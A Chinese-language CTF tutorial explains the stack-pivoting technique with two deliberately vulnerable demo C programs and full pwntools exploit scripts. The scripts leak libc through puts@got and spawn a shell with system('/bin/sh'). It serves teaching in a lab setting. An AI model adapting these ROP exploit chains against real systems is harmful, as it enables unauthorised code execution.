<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    關于棧遷移的那些事兒

    VSole2022-07-27 15:35:11

    一、前言

    現在的CTF比賽中很難在大型比賽中看到棧溢出類型的賽題,而即使遇到了也是多種利用方式組合出現,尤其以棧遷移配合其他利用方式來達到組合拳的效果,本篇文章意旨通過原理+例題的形式帶領讀者一步步理解棧遷移的原理以及在ctf中的應用。

    二、前置知識

    在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節過少所以劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,已達到擴充溢出字節數的目的。 以一個簡單的demo1為例,程序源碼以及編譯指令如下所示:

    #include <stdio.h>
    char buf1[0x100];
    void main() {
     char buf2[0x40];
     puts("First: ");
     read(0, buf1, 0x100);
     puts("Second: ");
     read(0, buf2, 0x60);
    }
    // gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
    

    程序的流程非常簡單存在兩個輸出,第一次是往全局變量buf1第二次是往局部變量buf2中寫入。可以看到在第二次寫入時存在明顯的棧溢出漏洞,但是溢出的字節數只夠寫入0x18大小的字節,如果要構造gadget泄露內存地址,最短的ROP鏈也需要0x20的字節才可以在泄露內存后返回輸入點繼續執行程序。


    在這種情況就可以使用棧遷移的方式來擴大溢出字節數的大小,在前面說過棧遷移的本質就是劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,而劫持rsp寄存器的指令有很多,最常用的就是函數的退棧返回指令leave; ret。 可以分成兩部分來理解這條指令。首先執行的是leave指令,這條指令共執行了兩個操作mov rsp, rbppop rbp,其中rsp寄存器的指向變化如下圖所示,可以看到在執行完leave指令后rsp寄存器指向了返回地址;隨后會執行ret指令,這條指令可以理解成pop rip。因為rsp寄存器指向rbp+8即函數的返回地址,所以poprip寄存器的就是函數的返回地址,退棧完成。

    在了解這條指令后不難發現,如果利用溢出漏洞可以覆蓋rbp的值為一個已知地址,那么在執行過兩次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此時rsp寄存器指向的地址即為新的棧地址,只要事先在新地址處布置好想要執行的rop gadget,那么溢出字節過少這個問題就迎刃而解了。

    根據上面介紹的棧遷移原理,可以總結出使用棧遷移的一些必要條件

    1. 存在可以劫持程序流和控制rbp寄存器的漏洞
    2. 攻擊者可以確定準確某一塊具有讀寫權限的地址
    3. 在進行棧遷移前需要在這塊地址上進行rop gadget布局

    三、例題講解

    3.1 例題demo1

    在理解了棧遷移的原理后可以通過這個demo來練練手了,進行編譯時未開啟CanaryPIE保護,NX保護開啟防止寫入shellcode

    這里先將大體的利用思路總結出來,其中的實現細節實現會在下文中進行說明。

    • 未開啟PIE保護,可以確定第一次寫入的地址記作addr1,在此地址處布置rop gadget來實現泄露LIBC地址并返回主函數
    • 利用第二次寫入存在的棧溢出漏洞覆蓋rbpaddr1rip為指令leave; ret的地址實現棧遷移
    • 返回主函數后利用ret2libc執行system("/bin/sh")獲取shell

    3.1.1 棧遷移布局

    首先我們利用第一次輸入進行rop chain布局,并利用第二次棧溢出漏洞覆蓋rbp為偽棧地址劫持rip為leave; ret指令地址,內存變化如下圖所示。 細心的同學會發現,我們在第一次進行rop chain布局前有一小段padding填充在前面,這是因為在我們進行棧遷移后,程序指令中所有對于棧的操作都會在偽棧內進行,而偽棧地址與got表地址相鄰,填入這小段padding的目的就是為了避免程序在對偽棧進行讀寫數據時造成內存數據段內關鍵信息被覆蓋,從而造成crash現象。

    在匯編中當我們要對局部變量進行操作時,一般都是用rbp棧底寄存器來定位,如下圖所示。這一點在棧遷移中可以讓我們構造出一個類似于鏈表的利用結構,每次布置rop chain時不斷將rbp寄存器賦值為偽棧地址,然后跳轉到主函數的寫入函數處,因為局部變量尋址是通過rbp寄存器,所以我們可以不斷進行rop chain的布局。 在第一次進行rop chain的布局中控制rbp寄存器指向新的偽棧地址,那么在返回主函數后執行read函數時,寫入地址就是新的偽棧地址,這時只要利用棧溢出漏洞去構造ret2libc即可getshell。

    3.1.2 EXP

    from pwn import *
    p = process('./demo1')
    libc = ELF('./demo1').libc
    fake_stack = 0x601060
    leave_ret = 0x40058E
    puts_plt = 0x400430
    puts_got = 0x601018
    pop_rdi = 0x4005f3
    read_text = 0x400572
    payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
    p.sendafter('First:', payload1)
    payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
    p.sendafter('Second:', payload2)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system = libc_base+libc.sym['system']
    sh = libc_base+libc.search('/bin/sh').next()
    success(hex(libc_base))
    payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
    p.send(payload3)
    p.interactive()
    

    3.2 例題demo2

    在CTF比賽中通常只有一次寫入機會,這邊給出demo2的源碼以及編譯命令。

    # include <stdio.h>
    # include <string.h>
    void main() {
     char buf[0x28];
     puts("Hello Hacker.");
     
     read(0, buf, 0x40);
    }
    // gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
    

    demo1一樣demo2未開啟Canary 與PIE保護,不同的是demo2中只有一次輸入機會,并且溢出字節數只能覆蓋返回地址。 結合之前講解的棧遷移技巧,首先在劫持rsp前需要進行rop chain布局,程序并沒有一次可以往偽棧布局的機會,但是可以利用劫持程序流的方式來構造這一條件。 觀察程序的匯編代碼如下圖所示,在對局部變量buf進行尋址時使用了rbp寄存器,那么我們可以利用這一點配合棧溢出漏洞來實現偽棧上的rop布局。利用思路如下所示,其中的實現細節實現會在下文中進行說明。

    1. 利用棧溢出漏洞劫持rbp寄存器為偽棧地址,返回地址為0x40054b(圖中主程序的輸入函數),即可在返回主程序后對偽棧進行rop chain的布局
    2. 對偽棧進行rop chain的布局,泄露LIBC地址并返回主函數
    3. 返回主函數后利用棧溢出漏洞配合棧遷移+ret2libc完成getshell

    3.2.1 偽棧rop布局

    第一次leave; ret是主函數退棧時執行的,利用棧溢出漏洞覆蓋rbp為偽棧地址,rsp為主函數地址。當我們再次來到主函數的輸入函數時即可在偽棧上布置rop chain。此時的內存變化如下圖所示

    第二次leave; ret指令依然來自主函數退棧時執行,在偽棧上布置好rop chain后程序執行退棧操作,此時rbp寄存器內保存fack_stack-0x30的地址即rop chain地址+0x8的位置處,rsp寄存器被劫持到偽棧上,此時的內存變化如下圖所示

    這里為什么是fake_stack-0x30的地址呢?因為在對局部變量buf進行尋址時使用到rbp寄存器,而本題中的buf地址來自[rbp-0x30]的地址,所以如果想要將rsp劫持到rop chain的位置,就需要對rbp寄存器賦值為fakc_stack-0x30,那么在執行第三次leave的時候,rsp寄存器就劫持到rop chain的地址處,此時的內存變化如下圖所示

    泄露完LIBC地址后,劫持程序流返回主函數,利用read函數對偽棧進行最后一次rop布局,需要注意此時的寫入地址是fake_stack-0x30,所以在棧遷移時rbp寄存器的值為fake_stack-0x30-0x30-0x8的地址處,再執行一次leave; ret時即可將rsp寄存器劫持到ret2libc rop地址處。內存變化如下圖所示

    3.2.2 EXP

    from pwn import *
    context.log_level = 'debug'
    p = process('./demo1')
    libc = ELF('./demo1').libc
    read_text = 0x40054B
    fake_rbp = 0x601500
    pop_rdi = 0x4005d3 # pop rdi; ret;
    puts_plt = 0x400430
    puts_got = 0x601018
    leave_ret = 0x400567
    # gdb.attach(p, 'b *0x400567')
    payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
    p.sendafter("Hello Hacker.", payload1)
    payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
    p.send(payload2)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system = libc_base+libc.sym['system']
    sh = libc_base+libc.search('/bin/sh').next()
    success(hex(libc_base))
    payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
    p.send(payload3)
    p.interactive()
    
    指令寄存器數據寄存器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    軟件漏洞分析簡述
    2022-07-18 07:08:06
    然后電腦壞了,借了一臺win11的,湊合著用吧。第一處我們直接看一下他寫的waf. 邏輯比較簡單,利用正則,所有通過 GET 傳參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。但是又有test_input函數進行限制。可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以
    shad0w原理分析 part 1
    2021-10-18 16:17:10
    shad0w原理分析!
    莫過于去花之后替換進apk中,依然正常運行,這對匯編功底無疑是一種挑戰。今天就獻丑拿某流量第一的APK樣本做一下IDA腳本一鍵去花指令分析。◆上IDA腳本,此代碼為片段代碼ARM64是ARM架構的64位版本。ARM64的調用約定定義了函數如何傳遞參數和返回結果。前八個浮點型參數通過寄存器V0至V7傳遞。這意味著如果函數修改了這些寄存器的值,那么它需要在返回前恢復它們的原始值。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类